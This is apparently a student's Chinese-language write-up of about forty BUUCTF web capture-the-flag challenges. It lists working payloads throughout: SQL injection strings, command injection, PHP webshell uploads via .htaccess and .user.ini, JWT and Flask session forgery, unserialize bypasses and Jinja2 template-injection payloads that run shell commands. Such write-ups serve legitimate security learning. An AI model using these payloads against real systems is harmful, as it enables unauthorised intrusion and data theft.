[toc]
菜鸡刚开始刷buu的web题,记录一下前40道简单题的解题思路和过程
0x01 [强网杯 2019]随便注
闭合
1 | ?inject=1'%23 |
有报错信息回显
1 | ?inject=1'AND+updatexml(1,concat(0x7e,(select+user()),0x7e),1)%23 |
有信息回显
1 | return preg_match("/select|update|delete|drop|insert|where|\./i",$inject); |
看来是关于拦截的信息
1 | ?inject=1'AND+extractvalue(1,concat(0x7e,user(),0x7e))%23 |
得到user
1 | error 1105 : XPATH syntax error: '~root@localhost~' |
得到database
1 | ?inject=1'AND+extractvalue(1,concat(0x7e,database(),0x7e))%23 |
1 | error 1105 : XPATH syntax error: '~supersqli~' |
1 | ?inject=0'or+1=1%23 |
把所有东西都返回了
能堆叠注入
1 | show tables |
1 | <hr>array(1) { |
使用handler查看表的内容
1 | ?inject=0';handler+`1919810931114514`+open+as+A;handler+A+read+first;handler+A+read+next;%23 |
1 | flag{bee56e24-1c09-4fba-8c08-e7c27cc69170} |
0x02 [极客大挑战 2019]EasySQL
1 | ?username=admin&password=admin'or(1)%23 |
1 | flag{29e869ab-79d1-4974-b60d-86f0833546ac} |
0x03 [极客大挑战 2019]Havefun
源码提示
1 | flag{3e508e49-6380-47f9-b510-9ce21b72e0fc} |
0x04 [SUCTF 2019]EasySQL
闭合
1 | query=0%23 |
union 被拦截,from被拦截
报错不回显
可以试试看布尔盲注
1 | query=database()%23 |
1 | ctf |
database的名字叫ctf
猜测后端代码
1 | $query = $_POST["query"]; |
貌似还真的是
而且可以堆叠注入
1 | query=database();show tables;%23 |
但是过滤了 handler
当输入的是0的时候,没有返回,其他时候都返回1
很显然,直接输入的东西的后面有一个 or 运算,类似于 $query or 0
随便试试
1 | query=*,3 |
竟然得到了flag
1 | flag{f43b29fb-8d7b-4f4e-aa39-6e6a3a9c69e5} |
看来这个select 语句肯定有个from Flag
可以猜测,长这样
1 | $query = $_POST["query"]; |
0x05 [ACTF2020 新生赛]Include
用了filter伪协议
1 | http://444e8eae-85a6-46b1-be9e-481c9a79fa5a.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=index.php |
解码以后得到index.php源码
1 | <meta charset="utf8"> |
可能flag就在flag.php里面
1 | http://444e8eae-85a6-46b1-be9e-481c9a79fa5a.node3.buuoj.cn/?file=php://filter/read=convert.base64-encode/resource=flag.php |
解码得到
1 |
|
0x06 [极客大挑战 2019]Secret File
我点的是action.php但是最后跳转到了end.php
抓个包看看
1 | secr3t.php |
访问看看
1 | <html> |
结果是一个文件的源码
用filter伪协议
1 | http://7aaee179-70cb-4b9b-8c76-4edf46988d3e.node3.buuoj.cn/secr3t.php?file=php://filter/read=convert.base64-encode/resource=flag.php |
解码得到
1 | <!DOCTYPE html> |
0x07 极客大挑战 2019]LoveSQL
1 | ?username='union+select(1),2,3%23&password=admin'or(1)%23 |
使用超级payload
1 | ?username='union+select(1),2,(select%20(@)%20from%20(select(@:=0x00),(select%20(@)%20from%20(information_schema.columns)%20where%20(table_schema%3E=@)%20and%20(@)in%20(@:=concat(@,0x0D,0x0A,'%20%5B%20',table_schema,'%20%5D%20%3E%20',table_name,'%20%3E%20',column_name,0x7C))))a)%23&password=admin'or(1)%23 |
1 | [ geek ] > geekuser > id| |
看看geek
1 | ?username='union+select(1),2,(select%20(@)%20from%20(select(@:=0x00),(select%20(@)%20from%20(geek.l0ve1ysq1)%20where%20(@)in%20(@:=concat(@,0x0D,0x0A,0x7C,'%20%5B%20',username,'%20%5D%20%3E%20',password,'%20%3E%20',0x7C))))a)%23&password=admin'or(1)%23 |
得到flag
1 | flag{f236ceea-d306-4184-87e7-83c133d23982} |
0x08 [GXYCTF2019]Ping Ping Ping
1 | ?ip=127.0.0.1;ls |
拦截了空格和flag
用变量来看看index.php
1 | ?ip=127.0.0.1;ls;a=index.php;cat$IFS$a |
1 | ?ip= |
1 | ?ip=127.0.0.1;ls;b=g.php;a=fla;cat$IFS$a$b |
1 | flag{2c6f3541-384d-4633-9852-5355815a3a8e} |
0x09 [RootersCTF2019]ImgXweb
从第一个非1分题开始做
注册了一个账号hello 密码是hello
要上传文件,我就上传了个a.c
然后发现了这个文件的位置
1 | static/167659824c454b631c7e455bb6103a50/a.c |
尝试上传一个php马,但是发现没用,解析不了
注册的时候尝试admin,报错说已经有一个名为admin的账号了
扫描下目录,发现robots.txt
但是是个这个东西
1 | you-will-never-guess |
猜测是用python写的
看源码发现个提示
1 | <!-- https://bit.ly/IqT6zt --> |
访问一下
但是是个歌舞视频,没什么用
注册的时候
1 | username=admin&password=admin |
login 的时候也是直接
1 | username=hello&password=hello |
登录进去之后
发现seesion_id由三个部分构成,以 .
隔开,且前两个部分都只用到base64出现的字符,有个srect.txt,里面应该是某个算法的密钥,猜测用到了jwt,而且header和payload部分没有进行过加密,即只是用到了base64url
尝试一下base64decode
1 | {"typ":"JWT","alg":"HS256"} |
第一部分,果然是jwt的头数据
1 | {"user":"hello"} |
第二部分里面,是user名
找一个在线的jwt网站
得到新的jwt
1 | eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjoiaGVsbG8ifQ.GCoJvts9SEgFOM4oSJsx0xTvvMRQQesiM13v8p_MfGE |
更改之后就登录到admin了
下载flag.png,然后用winhex打开
得到flag
1 | flag{31f30593-6fd2-4ff9-9968-0146109d8033} |
0x0a [ACTF2020 新生赛]Exec
1 | target=127.0.0.1;ls;cat index.php |
看到源码
1 |
|
1 | flag{031a15aa-088d-4588-bc2e-c778dc0e6a67} |
0x0b [护网杯 2018]easy_tornado
三个文件,点开看看
1 | /flag.txt |
1 | /welcome.txt |
1 | /hints.txt |
观察这个url
1 | ?filename=/hints.txt&filehash=906c350ef0749cc04e870fc4159fa9b8 |
很明显,为了得到flag,需要filehash参数
而为了得到filehash参数,就需要cookie_secret
发现一个报错页面
有个参数,怀疑是ssti注入点
tornado一般模板
看看tornado模板里面的alias们
这些是可以直接访问的对象
其中handler所对应的RequestHandler的源码中
可以看到返回了settings
那就直接调用这个handler.settings就行
1 | {'autoreload': True, 'compiled_template_cache': False, 'cookie_secret': '1492390b-1ea6-4cc0-b8eb-bd5483a8b804'} |
然后根据提示,解出来filehash
1 | 9ea0818965db2686bc9f00ec34ef0245 |
1 | /file?filename=/fllllllllllllag&filehash=9ea0818965db2686bc9f00ec34ef0245 |
1 | flag{ac5daf1c-8539-4403-858b-0f1dcf178bcd} |
0x0c [极客大挑战 2019]Knife
送分题
直接post里面放代码
先看看 /
找到flag文件
接下来file_get_contents
1 | string(43) "flag{815fa45a-2f26-42c0-bd2d-fcfa379223e7} |
0x0d [RoarCTF 2019]Easy Calc
一个计算器
用到ajax,有用到waf
访问一下calc.php
1 | node3.buuoj.cn:27735/calc.php |
看到源码
1 |
|
而当num传入一个非数字时,就被拦截,这估计是waf搞的鬼
php解析查询字符串时,会将变量名中的空白符删除,变量名中的一些字符转换为下划线
试试看 %20num
1 | ?%20num=phpinfo() |
成功
1 | ?%20num=var_dump(scandir(chr(46))) |
1 | ?%20num=var_dump(scandir(chr(76))) |
发现flagg
1 | ?%20num=var_dump(file_get_contents(chr(0x2f).chr(0x66).chr(0x31).chr(0x61).chr(0x67).chr(0x67))) |
1 | flag{29e94668-e02e-42eb-a133-bfe51804ee04} |
0x0e [极客大挑战 2019]Http
看源码,看到一个Secret.php,点进去
提示
1 | It doesn't come from 'https://www.Sycsecret.com' |
所以改一下reffer
又提示
1 | Please use "Syclover" browser |
所以改一下user agent
还是没完
1 | No!!! you can only read this locally!!! |
还要改一下 X-Forwarded-For
1 | flag{6ec3e040-5c8a-42db-9c2f-9ab646f20b3e} |
0x0f [极客大挑战 2019]PHP
有网站备份
估计是有backup而来
扫描一下
有一个www.zip文件
下载来,能看到源码
index.php中php脚本部分
1 |
|
而class.php
1 |
|
所以最终要调用Name类的__destruct方法,且username强等于admin,且要保证password == 100,而且要注意,username和password是private
1 | O:4:"Name":2:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
而还有一个__wakeup要绕过,只要在这个序列里面稍作修改就行,把代表对象属性个数的2改成更大的数字3,然后就能绕过了
1 | O:4:"Name":3:{s:14:"%00Name%00username";s:5:"admin";s:14:"%00Name%00password";i:100;} |
得到flag
0x10 [极客大挑战 2019]Upload
先放一下最终payload
1 | filename="geach1.phtml" |
GIF89a是gif的文件头
拦截了<?所以就以这种形式写php
拦截了php、php2345,但是没有拦截phtml
对content-type也进行了筛选,一定得是图片
1 | upload/geach1.phtml/?kkk=phpinfo(); |
尝试了一下,发现上传得到图片在upload里面
找到flag的位置
得到flag
1 | flag{7f4761bb-1e32-4246-8d98-bc715e12e429} |
0x11 [极客大挑战 2019]BabySQL
过滤了 or
,尝试之后,猜测后端代码为
1 | preg_replace("or","",$password); |
可以用||
,也可以双写过滤,即用 oorr
1 | ?username=admin&password=1'||1%23 |
可以报错注入
1 | username=admin&password=1'||updatexml(1,concat(0x7e,user(),0x7e),1)%23 |
1 | root@localhost |
database为geek
union 和 select 也被过滤了,但是都可以双写绕过
1 | ?username=admin&password=1'ununionion(seselectlect(1),(2),(3))%23 |
where、 from 也被过滤了,同样可以双写绕过
1 | ?username=admin&password=1'ununionion(seselectlect(1),(2),(seselectlect(@p)frfromom(selselectect(@p:=0x00),(selselectect(@p)frfromom(infoorrmation_schema.columns)whwhereere(@p)in(@p:=concat(@p,0x0D,0x0A,0x5B,table_schema,0x5D,0x3E,table_name,0x3E,column_name,0x7C))))a))%23 |
1 | Flag>flag| |
看看ctf库的Flag表的flag字段
1 | ?username=admin&password=1'ununionion(seselectlect(1),(2),(seselectlect(@p)frfromom(selselectect(@p:=0x00),(selselectect(@p)frfromom(ctf.Flag)whwhereere(@p)in(@p:=concat(@p,0x0D,0x0A,0x5B,flag,0x5D))))a))%23 |
1 | flag{f18d434f-cab3-4c97-9f99-1b38b79d8c54} |
0x12 [ACTF2020 新生赛]Upload
把js关了
然后随便上传一个东西
这样就成功上传了
然后上传php文件
但是被拦截了,打印了个
先改一下content-type
1 | Content-Type: image/jepg |
还不够
发现geach.ph可以上传成功,应该没有内容检查,仅仅是后缀过滤
php2就成功了
1 | ./uplo4d/2928c20df8464007ad4848f0a2927502.php2 |
但是访问了却没有解析
换一个试试看
php3被拦截了
php4、php5都被拦截了,但是phtml没有被拦截
1 | ./uplo4d/4340762024c421e8b8255db1d9c2a66e.phtml |
访问一下
1 | http://5f012b23-b093-4851-b357-4a95c0ed952a.node3.buuoj.cn/uplo4d/4340762024c421e8b8255db1d9c2a66e.phtml?kkk=var_dump(scandir("/")); |
1 | http://5f012b23-b093-4851-b357-4a95c0ed952a.node3.buuoj.cn/uplo4d/4340762024c421e8b8255db1d9c2a66e.phtml?kkk=var_dump(file_get_contents("/flag")); |
1 | flag{3972468d-f7a7-4907-a620-69046f332fd7} |
0x13 [ACTF2020 新生赛]BackupFile
扫描一下,扫出来index.php.back
1 |
|
1 | ?key=123 |
根本没有难度
1 | flag{3aa7ba8d-bc6d-45a6-b48a-5f737ed9376f} |
0x14 [MRCTF2020]Ez_bypass
直接给了源码
1 | I put something in F12 for you |
很简单的绕过
1 | flag{22724a04-5e03-463b-a756-0cb3e2c6fc40} |
0x15 [极客大挑战 2019]BuyFlag
看源码发现注释里面有代码
1 | ~~~post money and password~~~ |
1 | Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; user=0 |
好像没什么用
提示说必须是CUIT的学生
实在不知道这怎么整,但是看到个user,试试看把这个0改成1
竟然就是CUIT的学生了
然后提示
1 | Nember lenth is too long |
不知道说的是password还是money,估计是先strlen了money,然后将money和1000000进行比较
但是当money是aaaa的时候,却报错钱不够
说明可能不是直接调用
1 | strcmp($money,"100000000") |
如果是用的strcmp,又要经过比较后,得出aaa小于100000000的结论,那么可能是加了intval,即
1 | strcmp(intval($money),"100000000") |
100000000是9位数字中最小的数字了,不可能找到一个长度比9小,而intval之后又要比100000000大的数字了,所以推测,这题用的不是strcmp
1 | X-Powered-By: PHP/5.3.3 |
注意到php的版本
推测这题的后端代码大概是这样
1 | $money = $_POST["money"]; |
为什么不是”100000000”呢,因为如果是字符串,那么aa就比这个大了,但是 如果是数字100000000的话,那aa就被转成0
在以上情况下,$money可以为数组或者 1e9
1 | password=404abc&money=1e9s |
得到flag
1 | password=404abc&money[]=0 |
也得到flag
1 | flag{a95db5a9-cc78-4272-87a0-67bc99182454} |
0x16 [HCTF 2018]admin
试试看注册一个username为admin的账户,果然返回admin被注册了
所以先随便注册一个
1 | hello |
有一个/post可以访问,但是用hello账号访问时404notfound,猜测用admin登录会得到flag
还可以修改密码
这时候就有思路了,可以修改admin账户的密码,或者注册一个 admin’#之类的账户
先试试看改密码
可能是根据session来判断身份的
试试看抓注册的包
经过尝试,发现注册的时候可能存在注入点
估计是执行insert语句,然后报错了
猜测一下后端代码,但是值得注意的是后端估计不是php开发的,大概率是python
1 | username = req.params["username"] |
如果有两步的话,就不知道这报错是第一步还是第二步的
所以最好把引号给闭合了
1 | username='or 1 or' |
这样的话,估计就有一个username 为1的账号
但是报错了,估计用的是双引号
1 | username="or 1 or" |
又报错了,感觉没戏
又来到change password页面,看看源码,看到一段注释
1 | <!-- https://github.com/woadsl1234/hctf_flask/ --> |
访问一下
是源码
可以看到,index.html有对session[‘name’]进行判断,如果是admin,就会显示flag
从而可以确定了,sql注入应该是没戏了
用到了flask,可以解密session看看session是基于什么东西生成的
https://github.com/noraj/flask-session-cookie-manager
有专门的项目,破解flask的session
1 | Cookie: UM_distinctid=17705637df30-08003bc12e4fd68-4c3f207e-e1000-17705637df4b3; session=.eJw9kM2KwkAQBl9l6bMHjXoJeIhMFA89wdCbMH0R18Qk86OQKBtHfPcdXPD80VVUP-Fw7uuhhfjW3-sJHLoK4id8_UAMvFUj-qqTYmOkTj1G6TKjtctE5ZDWOqPTQ1LVZYINi8KgLixrXEjHWlIyZ6emTHmryr2XwlqM9lPlc40-d1wWLQsVsT7NM1IP5ZuHFMZLSpeqVDMV7UYWlUGhFlLI4GsipqplV3S8za2ixKNTI2u20qUreE3gNPTnw-1q6ssnAX3imcKJC1q90Si-x6AIaBkQIY1yHVTzkGS4xF8mHDlZvXGdOzb1h1SYnS-b_-VydGGAtrb2ChO4D3X__hvMpvD6A7Ahb0Y.YBpCBQ.i3fX74MZZnyRO42VjT24cXjoQls |
1 | #python3 |
得到
1 | {'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'hello', 'user_id': '10'} |
可见,用户名hello就在这里面
如果把name的值设为admin,然后生成一个session,就可以冒充admin登录了
要生成session
去config.py中找到secret_key
1 | SECRET_KEY = os.environ.get('SECRET_KEY') or 'ckj123' |
所以secret_key可以是ckj123
接下来生成session
1 | ython .\flask_session_cookie_manager3.py encode -s 'ckj123' -t "{'_fresh': True, '_id': b'df137b41d6133a990f87f10c97257b86dd5d25ef386fc507ff4e4aad349e3d4c4c34feead66f77962c82493519af5cb1d7d06843f186e7afebddea032f1f6e6a', 'csrf_token': b'303e5bfdc21c051511d3ea7b54ccb787dec0e31d', 'image': b'VB3Z', 'name': 'admin', 'user_id': '10'}" |
1 | .eJw9kEGLwjAQRv_KMmcPWvUieKikiodJscy2ZC6iprZNGhdaZduI_32DC54_5j3ePOF47cq-htW9e5QTODYaVk_4OsMKeKcG9LqRYmulSTxGyTKljUuFdkgbk9JllKSbVLBlkVs0ecsGF9KxkRTP2akpU1ar4uClaFuMDlPlM4M-c1zkNQsVsbnMU1Kj8tUohfWSkqUq1ExF-4GFtijUQgoZfFXEpGt2ec rFUUe3RqYMOtdMkaXhN31eP-x5e2TgD72TOHEBa3ZGhTfQ1AEtAyIkEaZCap5SLJc4C8TDhyv37jGnaryQ8rt3hfV_3I7uTDASbvmBhN49GX3_hvMpvD6A687bzs.YBpIKQ.aaxBjEPHdpKgsH2V5x99lnRWIHI |
然后就可以去伪造了
1 | flag{3bec85bf-8725-4f38-8d68-5dd5fc969c9e} |
0x17 [SUCTF 2019]CheckIn
拦截 <?
初步绕过
但是,文件后缀是ph就会被拦截,而且区分大小写
但是其中有一个index.php,可以考虑写一个.user.ini看看
1 | filename=".user.ini" |
1 | filename="cmd.txt" |
接下来访问index.php,理想情况可以执行木马
1 | http://3a656e51-f708-4d5d-a5c0-2a497b0d9cd6.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?kkk=var_dump(scandir("/")); |
1 | http://3a656e51-f708-4d5d-a5c0-2a497b0d9cd6.node3.buuoj.cn/uploads/852aff287f54bca0ed7757a702913e50/index.php?kkk=var_dump(file_get_contents("/flag")); |
1 | flag{9e6845a8-71aa-4050-b843-337ef747be15} |
0x18 [BJDCTF2020]Easy MD5
注释里面没有任何提示
抓包也没发现什么东西
看了看各个响应的文件的消息头
Hint竟然在这里
1 | select * from 'admin' where password=md5($pass,true) |
参数为true,如果没有true,那么返回的是一个 0-9a-f的字符串,而加了true之后,就会unhex成字符串
而ffifdyop
经过md5后,是276f722736c95d99e921722cf9ed621c,unhex之后是 'or'6]!r,b
试试看
1 | ?password=ffifdyop |
成功跳转
看看源码
1 | $a = $GET['a']; |
看来要满足这个条件
1 | ?a=QLTHNDT&b=QNKCDZO |
又跳转了
1 |
|
md5处理数组会返回NULL
1 | param1[]=a¶m2[]=b |
1 | flag{3ca7ca5e-3b3a-4870-9d14-067308f5dcb4} |
0x19 [ZJCTF 2019]NiZhuanSiWei
1 |
|
直接给了源码
1 | ?text=data://TEXT/HTML,welcome to the zjctf&file=php://filter/read=convert.base64-encode/resource=useless.php&password=hello |
读一下useless.php
1 |
|
可见flag在flag.php里面
1 | http://b4dbe37d-a3be-430f-9631-10dc5dc14949.node3.buuoj.cn/?text=data://TEXT/HTML,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";} |
1 | flag{560773ef-8b1f-4549-be23-04522902613e} |
0x20 [CISCN2019 华北赛区 Day2 Web1]Hack World
看来是sql注入
单引号回显bool(false),而双引号被拦截,’#也被拦截,但是#本身没有被拦截
很奇怪,不知道怎么闭合的
1 | id=0 |
1 | id=1 |
试试看
1 | id=1>2 |
1 | id=1<2 |
是不一样的回显,而且对应1和0的情况
说明闭合没有用到引号
可以考虑在这个点进行布尔盲注
1 | id=1=(ascii(substr(database(),1,1))) |
有ascii可以用,substr也没有被过滤
提示说flag在flag表的flag字段
1 | id=(ascii(substr((select(flag)from(flag)),1,1))) |
可以进行盲注
1 | import requests |
不知道为什么在windows下面跑得好慢,所以就放到虚拟机的ubuntu上去跑
1 | flag{3ea4b221-9173-4fe2-b926-b7872ea73003} |
0x21[极客大挑战 2019]HardSQL
1 | ?username=admin&password=1'or(1)%23 |
登录成功,但是没有任何回显
有syntax error 的报错,估计可以报错注入
and 被拦截,空格被拦截,等于号=被拦截
1 | ?username=admin&password=1'or(extractvalue(1,concat(0x7e,user(),0x7e)))%23 |
1 | ?username=admin&password=1'or(updatexml(1,concat(0x7e,(SELECT(group_concat(TABLE_NAME))FROM(information_schema.TABLES)WHERE(`table_schema`like(database())))),0x7e))%23 |
得到表明
1 | H4rDsq1 |
得到这个表的字段
1 | id,username,password |
1 | ?username=admin&password=1'or(updatexml(1,concat(0x7e,(SELECT(group_concat(password))FROM(H4rDsq1))),0x7e))%23 |
1 | flag{8d4b1187-b167-49c6-9030-37 |
但是不够长,所以没法把flag全部打印出来
试试看用substr把后面的给打印出来
1 | ?username=admin&password=1'or(updatexml(1,concat(0x7e,(substr(SELECT(group_concat(password))FROM(H4rDsq1))),0x7e))from(30)for(20))%23 |
但是substr被拦截
尝试了一下,发现mid也被拦截了,但是right能用
1 | ?username=admin&password=1'or(updatexml(1,concat(0x7e,(right((SELECT(group_concat(password))FROM(H4rDsq1)),20)),0x7e),1))%23 |
1 | 6-9030-370888952288} |
所以flag连起来
1 | flag{8d4b1187-b167-49c6-9030-370888952288} |
0x22 [网鼎杯 2018]Fakebook
随便join一个
1 | admin |
看到用iframe把百度网页爬下来了
用到了view.php,不用?no直接访问,得到报错
no是一个注入点
闭合
1 | ?no=1%23 |
而且还可以报错syntax error
成功注入
可以看到,用到了unserialize,目录是 /var/www/html/view.php
而且下面的blog content是调用了一个类的函数 getBlogContents()
不能写文件
用load_file来读文件
1 | ?no=0 union/**/select 1,load_file("/var/www/html/index.php"),3,4%23 |
1 | session_start(); |
1 | ?no=0 union/**/select 1,load_file("/var/www/html/view.php"),3,4%23 |
1 | session_start(); |
1 | ?no=0 union/**/select 1,load_file("/var/www/html/user.php"),3,4%23 |
1 |
|
1 | ?no=0 union/**/select 1,load_file("/var/www/html/db.php"),3,4%23 |
1 |
|
好像都没什么用,猜测一下可能有flag.php吧
1 | ?no=0 union/**/select 1,load_file("/var/www/html/flag.php"),3,4%23 |
没想到真的有
1 | flag{78c351cc-c597-46c8-abbb-67df2a9ac714} |
0x23 [GXYCTF2019]BabySQli
有一段base32
1 | <!--MMZFM422K5HDASKDN5TVU3SKOZRFGQRRMMZFM6KJJBSG6WSYJJWESSCWPJNFQSTVLFLTC3CJIQYGOSTZKJ2VSVZRNRFHOPJ5--> |
解码后是个base64编码
再解码,最后得到
1 | select * from user where username = '$name' |
猜测一下后端代码
1 | $name = $_POST["name"]; |
1 | name='union select 1,'admin',3%23&pw=1 |
可能1或3的位置是password
1 | name='union select 1,'admin',1%23&pw=1 |
但是这样并不生效,还是wrong pass
猜测可能是先对 $pw
进行了加密运算,然后其结果和 $result["password"]
进行比较
常见的是md5加密,试试看
1 | name='union select 'c4ca4238a0b923820dcc509a6f75849b','admin','c4ca4238a0b923820dcc509a6f75849b'%23&pw=1 |
得到flag
1 | flag{d227c1da-2a41-4186-adf3-86fcec68ffd8} |
0x24 [网鼎杯 2020 青龙组]AreUSerialz
直接给了源码
1 | function is_valid($s) { |
传入str,str要满足每个字符都在 chr(32)到chr(125)之间
1 | class FileHandler { |
虽然是protected,但是不用管,直接写个public属性的,到时候如果访问相同名字的属性会优先访问public的
1 | ?str=O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:8:"flag.php";s:7:"content";i:0;} |
1 | flag='flag{a83f55a7-3cc9-4419-847e-543f729e7d4b} |
0x25 [BJDCTF 2nd]fake google
1 | http://72ed6887-d4ef-42da-9c45-4f5bf3b0c751.node3.buuoj.cn/qaq?name={{3-1}} |
有模板注入,而且是python的
先看看所有类
写个脚本看看哪个类有os
或file
或__builtin__
1 | import requests |
找到了__builtins__
,调用os模块
1 | flag{2ac5e2e3-a916-42c4-aeb5-2d3f4a484436} |
或者用for和if语句
1 | {% for s in ().__class__.__mro__[1].__subclasses__() %}{% if '__builtins__' in s.__init__.__globals__ %}{{ s.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('ls /').read()")}}<hr>{% endif %}{% endfor %} |
1 | {% for s in ().__class__.__mro__[1].__subclasses__() %}{% if '__builtins__' in s.__init__.__globals__ %}{{ s.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat /flag').read()")}}<hr>{% endif %}{% endfor %} |
0x26 [MRCTF2020]你传你🐎呢
把content-type改了
看来对后缀有过滤,出现ph就被拦截
用到了move_uploaded_file
从/tmp/php1BQdTg转移
发现报错
用的是apache,试试看写.htaccess文件
1 | filename=".htaccess" |
1 | /var/www/html/upload/520b73e6a2bb9fe742c7aa237c2307a3/.htaccess |
1 | filename="geach.jpg" |
1 | /var/www/html/upload/520b73e6a2bb9fe742c7aa237c2307a3/geach.jpg |
1 | geach.jpg?kkk=var_dump(scandir("/")); |
1 | geach.jpg?kkk=var_dump(file_get_contents("/flag")); |
1 | flag{782cce2b-fb73-4cdf-ad11-6ddbc902226b} |
0x27 [GYCTF2020]Blacklist
1 | return preg_match("/set|prepare|alter|rename|select|update|delete|drop|insert|where|\./i",$inject); |
发现要绕过这些东西
报错注入
1 | ?inject=1'AND+extractvalue(1,concat(0x7e,user(),0x7e))%23 |
user
1 | root@localhost |
database
1 | supersqli |
可以堆叠注入
1 | ?inject=3';show+databases;%23 |
1 | <hr>array(1) { |
看看supersqli这个库的表
1 | ?inject=3';show+tables+from+supersqli;%23 |
1 | <hr>array(1) { |
直接用handle来读表
1 | ?inject=3';handler+FlagHere+open+as+A;handler+A+read+first;%23 |
1 | flag{2d9a4e41-62ab-4a8d-a2ce-171b17b388bf} |
0x28 [强网杯 2019]高明的黑客
下载网站源码
看了一下,人都傻了
但是里面有很多的system、eval这样的函数
所以写个脚本试试看哪一个才是真正的shell
1 | import requests |
简单说一下我写的这个脚本
从每个php文件中找到所有$_GET
和 $_POST
,然后进行两次请求,一次是get,并把所有get参数都设为 echo 'hello';
第二次是post也是把所有 post 参数都设为 echo 'hello'
,然后如果在resp.text中发现hello,就开始进行交互
1 | flag{f48aa2f8-d924-41d2-91f9-c7bdb1ad321f} |